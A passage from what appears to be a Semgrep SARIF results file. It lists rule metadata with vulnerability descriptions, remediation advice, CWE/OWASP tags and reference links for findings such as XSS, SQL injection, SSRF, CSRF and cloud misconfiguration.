- Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Encryption at rest is not enabled for the elastic search domain resource"},"help":{"markdown":"Encryption at rest is not enabled for the elastic search domain resource\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Encryption at rest is not enabled for the elastic search domain resource"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","id":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","name":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer](https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer)\n","text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","id":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","name":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-enforce-https.storage-enforce-https"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","id":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","name":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","id":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","name":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url","id":"typescript.react.react-create-element-href-url.react-create-element-href-url","name":"typescript.react.react-create-element-href-url.react-create-element-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-href-url.react-create-element-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","id":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","name":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fileaccess.swift-webview-config-allows-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"help":{"markdown":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only)\n - [https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https](https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https)\n","text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","id":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","name":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","id":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","name":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests)\n - [https://github.com/rest-client/rest-client](https://github.com/rest-client/rest-client)\n - [https://github.com/jnunemaker/httparty/tree/master/docs](https://github.com/jnunemaker/httparty/tree/master/docs)\n","text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","id":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","name":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"help":{"markdown":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","id":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","name":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"help":{"markdown":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives)\n","text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"helpUri":"https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives","id":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","name":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.compatibility.deprecated.deprecated-pervasives"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://pkg.go.dev/golang.org/x/crypto/bcrypt](https://pkg.go.dev/golang.org/x/crypto/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"help":{"markdown":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","id":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","name":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","id":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","name":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","id":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","name":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - 